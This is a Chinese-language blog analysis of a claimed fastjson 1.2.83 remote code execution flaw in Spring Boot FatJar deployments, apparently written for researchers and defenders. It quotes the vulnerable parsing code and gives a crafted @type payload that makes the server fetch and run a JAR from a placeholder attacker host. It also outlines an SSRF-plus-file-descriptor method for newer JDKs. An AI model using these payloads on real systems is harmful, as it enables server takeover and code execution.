2026年了,核弹还是fastjson,fastjson1.2.83 RCE是怎么回事?
原创 LoRexxar 2026-07-22 15:59 北京

古法漏洞分析fastjson 1.2.83RCE
7月19日,推上的一名安全研究员声称,他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。

Fastjson虽然已经停止维护1版本,但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一,虽然1.2.83没有在维护,但是在长期和fastjson对抗的时间里,83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用,几乎无法RCE,所以很多厂家没有选择更新到FJ2增加不确定性。
在过去的1天多时间内,基于作者的部分信息,大家正在逐渐探索出了漏洞的真相。
在7月22日,原作者公开了他们的研究文档https://fearsoff.org/cn/research/fastjson-1-2-83-rce

关于漏洞起始
在这篇推文激起了外网的讨论之后,原作者逐渐公布了一些关于漏洞的信息

该漏洞影响fastjson 1.2.68 -> 1.2.83
与autoType无关,只有启用SafeMode或者迁移到Fastjosn 2.x来解决


不需要指定expectClass,不需要控制第二个参数,也不是走我们以往基于白名单类的绕过途径

这个漏洞至少影响互联网上最常见的3个版本,8,17,21
在这样的基础上,很多安全研究者开启了AI时代最有效的推进分析,真相被一点点剥开水面
抽丝剥茧
事情破局的第一步很快到来,github上有人直接分享了该漏洞的poc(这个poc已经404了),由于我已经没有截图了,甚至这个poc的推送作者是Codex,非常搞笑
在这片文章里提到了一个很有趣的漏洞点
Fastjson可以通过 Spring Boot FatJar 的 LaunchedURLClassLoader 来远程加载带有@JSONType注解的类,最终远程代码执行。无论是否开启autoType。

在 Spring Boot FatJar 环境中时,LaunchedURLClassLoader 会将类资源路径解释为 jar:http:// URL,从而触发远程 HTTP 请求下载恶意 JAR,最终实现远程类加载和代码执行。
除了fastjson,还要求有springboot
应用以 Spring Boot FatJar 方式运行(使用 LaunchedURLClassLoader)
JDK 版本为 8
以下是Poc原文给出的依赖
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<fastjson.version>1.2.83</fastjson.version>
<spring.boot.loader.version>2.7.18</spring.boot.loader.version>
<asm.version>9.6</asm.version>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>${fastjson.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-loader</artifactId>
<version>${spring.boot.loader.version}</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>${asm.version}</version>
</dependency>
</dependencies>漏洞的实际利用很简单
在ParserConfig中,有这样一段代码
// ParserConfig.java 第 1479-1503 行
booleanjsonType=false;
InputStreamis=null;
try {
// 关键:把类名中的 . 替换成 /,拼成资源路径
Stringresource=typeName.replace('.', '/') +".class";
if (defaultClassLoader!=null) {
is=defaultClassLoader.getResourceAsStream(resource); // ← 远程加载!
}
if (is!=null) {
ClassReaderclassReader=newClassReader(is, true);
TypeCollectorvisitor=newTypeCollector("<clinit>", newClass[0]);
classReader.accept(visitor);
jsonType=visitor.hasJsonType(); // 检测 @JSONType 注解
}
} catch (Exceptione) { /* skip */ }
if (autoTypeSupport||jsonType||expectClassFlag) { // ← jsonType=true 绕过第一层
clazz=TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}fastjson会把请求中的.替换成/,然后拼接上.class之后加载。
本意是把类似于正常的包,转为路径加载
@type="com.example.MyModel"
→replace('.', '/') →"com/example/MyModel.class"
→getResourceAsStream→从本地classpath加载
→检测@JSONType→信任
→loadClass→正常业务类但是这里就出现了几个华点
由于请求中的.替换成/,那么就可以通过构造.来绕过正常的限制
输入jar:http:..ATTACKER_IP:18080.exploit!.Payload
其中http:..转化为http://
其中ATTACKER_IP:18080.exploit转化为ATTACKER_IP:18080/exploit
其中!.转化为!/
最后一个问题是ip里的.也会被转义,那么更简单直接用整形ip
2130706433:18080->127.0.0.1:18080所以最后通过巧妙的构造就可以实现远程加载poc
上一个poc由3个部分构成
1、replace('.', '/')的意外导致了巧妙的构建,绕过了对于/的限制,也侧面绕开了对于远程加载的限制
// ClassLoader.java
privateProtectionDomainpreDefineClass(Stringname, ProtectionDomainpd) {
...
if (name.indexOf('/') !=-1) {
thrownewNoClassDefFoundError("IllegalName: "+name);
}
...
}2、Spring Boot 的类加载器能解析 jar:http:// 嵌套 URL(这是 Spring Boot FatJar 加载嵌套 JAR 的正常功能)
3、@JSONType 注解这个路径入口没有被额外限制,允许远程加载
这条链路远程加载回来的类被defineClass后,静态初始化块<clinit>会立即执行,不会走到后续的类型绑定,所以其他的限制也无效。
parseObject(body, Dto.class) 生效之前的probe阶段就执行但是问题接踵而至,如果原漏洞使用了这个路径,那么在高于JDK8的版本有这样一个限制
Class<?>loadClassInLaunchedClassLoader(Stringname) {
Stringresource=name.replace('.', '/') +".class";
// 构建资源路径
InputStreamis=getParent().getResourceAsStream(resource);
// 下载
byte[] bytes=readAll(is);
returndefineClass(name, bytes, 0, bytes.length); //校验name
}在远程加载成功之后,紧接着defineclass,不同版本的jdk会有不同的限制
defineClass(name, 字节码bytes)
│
├─Java层: preDefineClass
│checkName(name参数)
│→校验的是传入的name字符串
│→点号形式没有/,通过
│
└─native层: defineClass1→parseClassFile
│
├─第一轮: 把字节码解析成常量池结构
│→此时常量池里的类名是字节码原始值
│→即"jar:http://a/b/c!/Foo"(JVM内部格式,用/分隔)
│
└─第二轮: 遍历常量池,校验每个条目格式
遇到CONSTANT_UnresolvedClass时:
→verify_legal_class_name(常量池中的类名)
→verify_unqualified_name()
JDK8: 只禁 . ; [ →http:// 的 // 通过
JDK9+: 加禁连续// → http:// 的 // 被拒这个限制让超过JDK8的版本只能触发ssrf,无法直接远程加载。
简单来说就是无法绕过高版本对于defineClass判定的限制。getResourceAsStream可以实现远程请求,但是defineClass判定的时候类名校验失败。
于是衍生出了第二个高版本利用的方案,用jar:file:来绕过双斜杠的协议协议。
阶段一:SSRF下载JAR到本地
getResourceAsStream("jar:http://attacker/probe!/POC.class")
→标准ClassLoader返回null,但LaunchedURLClassLoader
的底层URL解析机制会触发HTTP请求(下载JAR到临时文件)
→JAR落盘到/tmp或内存中,拿到文件描述符fd/N
阶段二:本地加载
getResourceAsStream("jar:file:/proc/self/fd/N!/POC.class")
→本地文件,单斜杠,通过verify_unqualified_name
→defineClass成功,<clinit>执行也就是用ssrf来抓取文件到临时文件,然后遍历fd寻找这个临时文件,通过jarfile协议加载,这样就可以绕过高版本对于//的额外限制,顺利的在高版本做利用。
而这个遍历fd的利用方案也导致该问题再windows的高版本jdk中无法利用。
但是有没有觉得好像哪里都不太对?
看上去好像哪里不对?
在顺着分析了上一个poc的详细流程以及链路之后,我想所有人应该都会得出一个问题就是,为什么会有这样一个远程加载的classloader呢?
很显然,最早的POC在探索这个链路的时候,自己构造了一个Classloader来闭环整个链路
ClassLoaderurlNameClassLoader=newClassLoader(null) {
@Override
publicInputStreamgetResourceAsStream(Stringname) {
returnnewURL(name).openStream();
}
};
config.setDefaultClassLoader(urlNameClassLoader);
config.checkAutoType(TYPE, null);在这个 PoC 中,getResourceAsStream()接收到的name会直接交给new URL(name)解析;如果 name 是一个远程 URL,就可能发起网络请求并读取远端内容。因此,后续链路才能闭环。
普通的Classloader,常规功能是在本地 classpath 里寻找对应的文件,找不到就返回null。所以大部分的Classloader并不支持这样一条链路。
------
SpringBoot Fat Jar算是一个特例,**LaunchedURLClassLoader.findResource**直接把name喂回了URLClassLoader,而URLClassPath的通用Loader将name根据不同格式解析,最后构成了利用链路。
URLClassLoader.findResource(name)
->URLClassPath.findResource(name)
->针对每个classpath根选择Loader那么又有了一个新的问题,除了SpringBoot Fat Jar,其他的URLClassLoader为什么不会远程加载?尤其是Tomcat正常的WebappClassLoader也继承自URLClassLoader,并且JDK远程就支持jar协议,那为什么Tomcat下无法利用呢?
这个问题比想象的要复杂,以下这部分内容我修改了3次...
首先运行Fat jar的容器也会影响到利用链路。
使用Fat jar启动时,JVM默认的Classloader就是LaunchedURLClassLoader。而不同的容器的TCCL运行模式不一样,由于Fastjson用的是当前线程的ClassLoader,那么Tomcat会把他替换TomcatEmbeddedWebappClassLoader
| 容器 | TCCL |
|---|---|
| Tomcat | TomcatEmbeddedWebappClassLoader |
| Jetty | LaunchedURLClassLoader |
| Undertow | LaunchedURLClassLoader |
但是Tomcat+SpringBoot Fatjar其实也是可以利用的,因为TomcatEmbeddedWebappClassLoader同样继承了URLClassLoader,但是重写了 loadClass,做了额外的限制不允许连续/输入,所以禁止了http链路,但同样可以走ssrf+遍历fd的方式利用。
只不过即便在JDK8环境下,依旧不能单次请求利用了。
那是不是必须是Fat jar呢,直接war部署在Tomcat/Jetty可以吗?
在Tomcat的WebappClassLoader,在资源查找的时候,会直接走WebResourceRoot然后在本地查找
Stringpath=nameToPath(name);
resource=resources.getClassLoaderResource(path);
if (resource.exists()) {
url=resource.getURL();
}WebappClassLoaderBase不会做URL解析,在查找不到会返回null
TomcatEmbeddedWebappClassLoader.getResourceAsStream("jar:http://...")
→WebappClassLoaderBase.getResource而当WebappClassLoaderBase搜索不到的时候如果hasExternalRepositories为true会回退到父类URLClassLoader的findResource,依旧可以触发利用链路
publicURLfindResource(Stringname) {
Stringpath=nameToPath(name);
WebResourceresource=resources.getClassLoaderResource(path);
URLurl=null;
if (resource.exists()) {
url=resource.getURL();
}
// 回退到URLClassLoader
if (url==null&&hasExternalRepositories) {
url=super.findResource(name);
}而实际测试中,通过war方式部署在tomcat上,这个属性默认为false,所以利用链走不通。
| 部署方式 | TCCL | URLClassPath | 自定义 jar: Handler | 结果 |
|---|---|---|---|---|
| SB Fat JAR(内嵌 Tomcat) | TomcatEmbeddedWebappClassLoader(parent 有 jar:file:) | 空/jar:file: | ✅ | 可利用 |
| SB Fat JAR(内嵌 Jetty) | LaunchedURLClassLoader | jar:file: | ✅ | 可利用 |
| SB Fat JAR(内嵌 Undertow) | LaunchedURLClassLoader | jar:file: | ✅ | 可利用 |
| SB WAR(外部 Tomcat) | ParallelWebappClassLoader | file: | ❌ | 不可利用 |
| SB WAR(外部 Jetty) | WebAppClassLoader | file: | ❌ | 不可利用 |
| 纯 Tomcat + Fastjson | ParallelWebappClassLoader | file: | ❌ | 不可利用 |
那么为什么是SPringBoot呢?
除了前面不是条件的条件以外,想要走通这条链路。
还必须要求当前URLClassPath必须包含jar:file根。
而Spring Boot 为了加载依赖。他会构造类似于jar:file的嵌套根
jar:file:/path/app.jar!/BOOT-INF/classes!/file:/path/to.jar→ URLClassPath 创建 JarLoader → 这个 JarLoader 只管在该 JAR 内部查找 entry。它用的是标准 JDK 的jar:协议处理器,只能处理jar:file:本地 URL。jar:file:/path/to.jar!/→ URLClassPath 创建 JarLoader → Spring Boot 启动时通过registerUrlProtocolHandler()注册了自定义jar:协议处理器。当这个 JarLoader 遇到资源名jar:http://...时,自定义处理器能把它解析为远程 URL,触发 SSRF。
所以Spring Boot Fat Jar 是已知容易满足该 URL 解析条件的环境之一
这样一来,这个漏洞的限定条件就变成了
该fastjson环境下的默认Classloader,继承URLClassLoader(或复用 URLClassPath),没有做额外的URLLoader限制,并且当前URLClasspath必须包含jar:file根,即可存在利用
作者公开原文
在漏洞细节被逐步推演出来之后,在7月22日,漏洞最早的发现者公开了他们研究的细节。
https://fearsoff.org/cn/research/fastjson-1-2-83-rce
有趣的是,相比于我们的AI复现逻辑,该作者挖掘漏洞的逻辑源于一个偶然,就像我说的,这种利用链路在常规的环境下是无法完成的,但是如果刚好复现中触发了远程加载后续的很多想法都顺利成章,所以最早的巧合就很有趣。

在完成的复盘完漏洞之后,内心还是百感交易,一方面基于AI的探索和漏洞挖掘体系逐渐变得熟练和成熟,AI能做的事情越来越多,另一方面也感叹,居然这种已经被研究烂了的目标还能巧妙的找到新的利用角度,任重而道远~
坦白讲这是我第一次以AI为主做漏洞复现和分析,在这个新时代下,效率的提升和未知领域的帮助AI提升巨大,但反过来,AI在未知位置隐藏的错误信息也可能会滚雪球误导,中间关于tomcat实际环境与SPringBoot联动问题在我3次和AI探讨都获得了不同的答案,如何避免这样的事情可能是接下来最重要的事情。